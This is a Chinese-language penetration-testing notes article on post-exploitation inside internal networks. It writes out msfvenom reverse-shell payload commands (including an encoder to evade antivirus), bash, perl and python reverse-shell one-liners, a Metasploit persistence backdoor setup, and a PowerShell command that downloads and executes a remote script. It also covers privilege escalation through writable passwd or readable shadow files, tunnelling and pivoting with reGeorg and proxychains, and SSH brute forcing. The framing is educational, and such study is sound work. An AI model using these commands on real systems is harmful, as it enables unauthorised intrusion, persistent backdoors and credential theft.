http://p1.qhimg.com/t01570e7a4d199ca78b.jpg



前言


上个学期一直在学审计,前几天ST2漏洞大火,随便打一个就是root权限,我却拿着root权限不知如何继续进行。因为这个,发现了自己对渗透知识的缺失,因此用了两周左右的时间学习补充了一下内网渗透的知识,看了不少大牛的文章,膜拜之余还是做了一些笔记的。到渗透入门结束之余,打算自己整理一下最近学习到的关于渗透的知识,写一篇文章。

回过头看渗透,在机械流程的前提下,什么情况下使用什么工具,做出什么反应的适应性思路更为重要。一次大快人心的渗透过程与扎实的基础知识和熟练的工具使用是分不开的。


渗透初探


一个概念

正向shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

攻击者-->被攻击者

反向shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

攻击者<--被攻击者

msf shell

反向shell

正向shell

1
Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell

http://p8.qhimg.com/t01a5951e8d4962ddc8.png

1
Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=121.196.209.139 LPORT=4444 -f exe > abc.exe

http://p6.qhimg.com/t01ffc596ab8e2f83a8.png

1
Android:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk

http://p8.qhimg.com/t013b11090f4ce6f069.png

其他的各种各样的姿势的反弹shell:

1
2
3

bash:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);

 os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用SSH通道:

1
2
3
Ssh -qTfnN -L port:host:hostport -l user remote_ip 正向隧道,监听本地port
Ssh -qTfnN -R port:host:hostport -l user remote_ip 反向隧道,用于内网穿透防火墙限制之类
Ssh -qTfnN -D port remotehost 直接进行socks代理

参数:

1
2
3
4
-q 安静模式
-T 不占用shell
-f 后台运行,推荐加-n参数
-N 不执行远程命令

SSH端口转发:

1
2
Ssh -CfNg -L port1:127.0.0.1:port2 user@host 本地转发
Ssh -CfNg -R port2:127.0.0.1:port1 user@hsst 远程转发



拿到shell后的两个方向


如果是低权限的机器,就提权:

检查操作系统发行版本:lsb_release -a

http://p5.qhimg.com/t01237edabcd62fd7e1.png

依据系统的内核,寻找对应的exp提权:

根据内核寻找exp的网站: https://www.kernel-exploits.com/   ,也可以用kali下的searchsploit命令

http://p8.qhimg.com/t0125efa66a502c1054.png

如果尝试的所有的exp都失败了,可以试一试新版本内核的exp。但是注意,内核exp提权有崩溃系统的风险。

一些其他的办法:

利用SUID提权

1. SUID是一种属性,他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。

2. 环境变量劫持的方法提权

3. Passwd文件是否可写,可写则修改密码登录

http://p9.qhimg.com/t0131e80d7dae3e1e51.png

4. Shadow是否可读,可读则使用hashcat或john暴力破解

http://p6.qhimg.com/t018073bf96d61ae936.png

5. 使用web端的一些密码测试root密码是否相同

6. 使用命令 ls -l /etc/cron* 查看计划任务,也许会有脚本使自己成为root用户

http://p0.qhimg.com/t01e17e0b590fc84466.png

使用命令 netstat -antup查看服务,有没有什么神奇的服务,可以用nc转发出来。

http://p3.qhimg.com/t0122e87d4740485c95.png

相关工具:https://www.securitysift.com/download/linuxprivchecker.py   详细地列出网卡信息,主机信息,passwd文件,开启服务等等信息。

提权的方法复杂而多样,主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功,那么可以使用这台主机作为跳板进行内网的进一步渗透。


后门


拿下一个shell容易,但是对方服务器重启,web漏洞被补上,木马被删除,还能有办法保留住shell么?这里提供了几种持续后门的方法。

Msf的持续后门

Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)

Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,容易被杀(我的msf版本不支持)使用-r参数可以卸载服务

Mof_ps_persist

Msf自动运行脚本

Autorunscript,一个十分强大的脚本,可以在生成会话的同事,执行指定的操作。可以通过autorunscript调用的脚本有6个,目录metasploit/scripts/meterpreter,有屏幕截图,获取环境变量等等。

使用persistence和autorunscript留后门的方法是:

1
2
3
4
5
6
7
Use explit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost ***
Set lport ***
Set ExitOnSession false
Set AutoRunScript persistence -r *** -p 7231 -U -X -I 30
Exploit -j -z

绕过拦截的计划任务:

构造创建计划任务:schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次

http://p1.qhimg.com/t0174c1b5b1e284c917.jpg

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://a.com/1.ps1');" 保存以上命令到1.ps一,通过IEX下载执行。

http://p1.qhimg.com/t0114132025efdb871c.jpg

http://p4.qhimg.com/t016ea5d4422cd6509e.jpg

本机测试时360第二种报毒,第一种通过。


网络分析


查看本机网络信息

1
ipconfig

使用代理探测内网

正向代理:Regeorg + proxychains (win下用proxycap)

Regeorg: https://github.com/sensepost/reGeorg 

http://p8.qhimg.com/t013a1d6ae2465b314a.png

上传服务器可执行的tunnel文件,在本机执行:

1
python reGeorgSocksProxy.py -p 2333 -u http://aaaaaa.com/tunnel.php

Proxychains: https://github.com/rofl0r/proxychains-ng 

http://p8.qhimg.com/t01245ec39424b233a5.png

配置文件

1
vim /etc/proxychains.conf

在最后一行添加socks5 127.0.0.1 2333(与regeorg端口相同)

使用时,在执行的命令前加proxhchains 4, 比如:proxychains4 nmap -sT -Pn -n 127.0.0.1

反向代理:路由表+socks4a+proxychains

在msf中如果拿到一个meterpreter shell,有一个很简单的添加路由表的方法:run autoroute -s 192.168.122.0/24,添加完路由表后,msf框架就可以使用跳板进行对192.168.122.0/24的网络访问了。

若要使用nmap一类的工具,需要使用msf框架中的socks4a工具代理,目录:auxiliary/server/socks4a

http://p1.qhimg.com/t015209150664fc420b.png

开启socks4a后可以用netstat -antp | grep 1080来检查一下是否成功。

http://p6.qhimg.com/t017f6287ae14469d9b.png

Proxychains 不支持ICMP协议,nmap要加-sT 和 -Pn 参数。

使用nmap探测内网服务

如果只探测服务,则查看hosts,扫描特定的服务。

如果为了探测整个内网,则全网段扫描。

通过跳板对内网爆破

kali工具包中的Hydra可以爆破SSH。

http://p6.qhimg.com/t0168ddd1f7bde1b657.png

通过跳板转发端口

使用msf的portfwd工具可以转发内网ip的端口。

http://p8.qhimg.com/t01842edf35a2eeaa9d.png

http://p3.qhimg.com/t01de9bfa6d9f44e1ab.png

关注的两个点:

寻找交换机路由器,尝试snmp弱口令。关于snmp的知识:http://wooyun.jozxing.cc/static/drops/tips-409.html

通过收集到的信息,编写字典,对ftp,ssh,dbserver进行爆破。

对内网的web服务进行攻击,内网的web弱口令更普遍。

为扩大控制范围,优先控制交换机路由器等网络设备。


分析网络


假设控制路由器,通过路由器收集以下信息:

1. 设备配置

2. 查看相关权限与exp提权

3. 查看版本信息

4. 查看ip地址

5. 活动主机

6. 构建拓扑图

之后可以通过流量监控获取更多数据,进行深入的渗透。后面的内容我就没有学习了,笔记戛然而止!


参考文章


https://www.waitalone.cn/linux-shell-rebound-under-way.html 

http://www.tuicool.com/articles/j2eayaF 

http://wooyun.jozxing.cc/static/drops/tips-16116.html 

https://www.secpulse.com/archives/51092.html 

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-097180.html 



本文由 安全客 翻译,作者:Homaebic